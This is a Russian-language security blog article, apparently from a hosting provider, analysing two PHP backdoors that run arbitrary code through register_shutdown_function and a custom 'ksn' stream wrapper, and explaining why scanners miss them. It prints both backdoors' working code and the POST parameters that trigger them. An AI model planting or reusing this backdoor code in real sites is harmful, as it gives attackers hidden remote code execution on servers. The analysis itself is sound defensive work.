Согласно нашим подсчетам, в 72% зараженных сайтов использованы программы скрытого удаленного администрирования — бэкдоры. С их помощью мошенники получают удаленный доступ к вашему сайту, и понятное дело, чем это грозит владельцу: получение и передачи конфиденциальных данных пользователей, запуск вредоносных программ, уничтожения информации и тд.
Время от времени приходится сталкиваться с уникальными бэкдорами, которые не включают обычные функции PHP, такие как eval, create_function, preg_replace, assert, base64_decode и т.п.
Такие бэкдоры часто выглядят как исходный код без какой-либо обфускаций, нет зашифрованных строк, конкатенации строк, форматирования кода программы, изменения его структуры. Однако эти бэкдоры по-прежнему позволяют злоумышленнику запускать на вашем сервере произвольный код.
Бэкдор и Shutdown Function
Давайте начнем с простого. Комментарий в файле говорит, что это @package win.error.Libraries с функцией:
function win()
{ register_shutdown_function($_POST['d']('', $_POST['f']($_POST['c']))); }
В этом случае $ _POST мы рассматриваем как нечто подозрительное. Но действительно ли это злонамереннй код?
register_shutdown_function регистрирует функцию, которая выполнится по завершении работы скрипта. Потому, независимо от кода, который вы видите в скрипте, после его завершения будет выполнена функция обратного вызова из функции register_shutdown_function.
Функция, выполняемая после скрипта, будет выглядеть так:
$_POST['d']('', $_POST['f']($_POST['c']))
В любом случае, код выглядит загадочным. Взглянем на него глазами хакера и предположим, что им был активирован скрипт со следующими параметрами POST:
d = create_function
е = base64_decode
с = some_base64_encoded_malicious_PHP_code
Получаем следующее:
create_function('', base64_decode(some_base64_encoded_malicious_PHP_code))
Теперь это выглядит как обычный бэкдор. Этот код не требует дополнительного вызова, так как register_shutdown_function регистрирует функцию обратного вызова, которая автоматом выполнится после завершения работы скрипта.
Бэкдор и Stream Wrapper
Теперь немного усложним задание по распознаванию бэкдоров.
Перед нами комментарий — @package Stream.ksn.Libraries, а значит, файл содержит класс Stream и функцию для работы с потоками stream_wrapper_register, которая регистрирует обертку по ksn протоколу.
class Stream
{
function stream_open($path, $mode, $options, &$opened_path)
{
$url = parse_url($path);
$f = $_POST['d']('', $url["host"]);
$f();
return true;
}
}
stream_wrapper_register("ksn", "Stream");
// Register connect the library Stream
$fp = fopen('ksn://'.$_POST['f']($_POST['c']), '');
А теперь, по порядку. Для владельцев сайта и некоторых вебмастеров этот код выглядит вполне законно — типичные файлы в системах управления контентом или сторонних плагинах — возможно, не совсем понятно за чем он и что делает, но если есть — видимо нужен и полезен. А кто-нибудь знает, что такое ksn потоки?
Но погодите — мы видим, что в коде присутствуют POST-данные. А вот это уже вызывает подозрение, так как параметры POST могут контролироваться злоумышленниками. Пока не совсем ясно, какие данные POST используются в этом коде. Поиграем в криптографов и используем технику декодирования, заменим буквы в фразе.
Начнем с этой части кода из функции stream_open:
$f = $_POST['d']('', $url["host"]);
Подозрительно, когда параметр POST используется как имя функции. Код предполагает, что значение $ _POST ['d'] может быть create_function. Если это так, то $url [«host»] содержит какой-то исполняемый код, но переменная $ url разбирает URL и возвращает его компоненты с использованием стандартной функции PHP parse_url. Это означает, что $url [«host»] — это только часть хост-часть URL пути.
Сомневаюемся, что доменное имя может содержать исполняемый PHP-код… верно?
Давайте проверим, откуда мы получаем параметр $path в function stream_open: по идее он будет содержать разобраный URL-адрес, полученный при использовании функции parse_url. Чтобы выяснить это, рассмотрим эту часть кода:
stream_wrapper_register("ksn", "Stream");
Функция stream_wrapper_register регистрирует протокол ksn и класс Stream, который будет работать с этим протоколом. Класс Stream следует условию прототипа streamWrapper, а именно streamWrapper::stream_open — открывает файл или URL, и будет вызваться сразу же после инициализации протокола.
stream_open должен следовать описанию, где $path — это URL переданное функции fopen(), которая закрепляет именованный ресурс, указанный в аргументе filename, за потоком:
public bool streamWrapper::stream_open ( string $path , string $mode ,
int $options , string &$opened_path )
В нашем случае fopen открывает URL-адрес ksn: //:
$fp = fopen('ksn://'.$_POST['f']($_POST['c']), '');
В итоге, $path получается строка: 'ksn: //'.$_POST [' f '] ($ _POST [' c ']),'
Это создаст URL, в котором часть хоста — исполняемый зловредный PHP код.
Можно ли создать доменное имя или IP-адрес, который будет в действительности полноценным PHP-кодом для атаки веб-сайтов? Функция parse_url не проверяет URL-адреса на корректность, а просто разбивает их на части. Все от: // до первой косой черты (/) или двоеточия (:) считается основной частью URL адреса.
Например, если вы задаете parse_url function: ksn: // eval (base64_decode ($ _POST [«code»])); возвращена будет основная часть URL: eval (base64_decode ($ _ POST [«code»]));
Следуя логике бэкдора, получим следующие параметры POST:
е = base64_decode
с = some_base64_encoded_malicious_PHP_code
В этом случае формулировка fopen выглядит так:
$fp = fopen('ksn://base64_decode(base64_encoded_malicious_PHP_code)', '');
Теперь, вернемся к stream_open function, это будет последним фрагментом головоломки. Теперь известно, какой URL-адрес можно передать файлу функции fopen:
$f = $_POST['d']('', $url["host"]);
И брюки превращаются, превращаются брюки — в элегантную строку:
$f = create_function('', base64_decode(base64_encoded_malicious_PHP_code));
Следующая строка просто выполняет бэкдор-код:
$f();
Другими словами, все, что требуется для выполнения бэкдор-кода, — это вызвать функцию fopen () с созданным URL-адресом ksn: //.
Выше был показан пример, как злоумышленники могут использовать менее известные функции PHP для создания уязвимостей. Учитывая, что на типичном веб-сайте есть тысячи PHP-файлов, вряд ли можно тщательно проверить каждый файл. Потому поиск вредоносного ПО на сайте — задача не совсем простая. Нельзя полагаться лишь на ручную проверку кода и простые скрипты, которые сканируют известные шаблоны вредоносных программ.
На правах рекламы. Акция! Только сейчас получите до 4-х месяцев бесплатного пользования VPS (KVM) c выделенными накопителями в Нидерландах и США (конфигурации от
Автор: TashaFridrih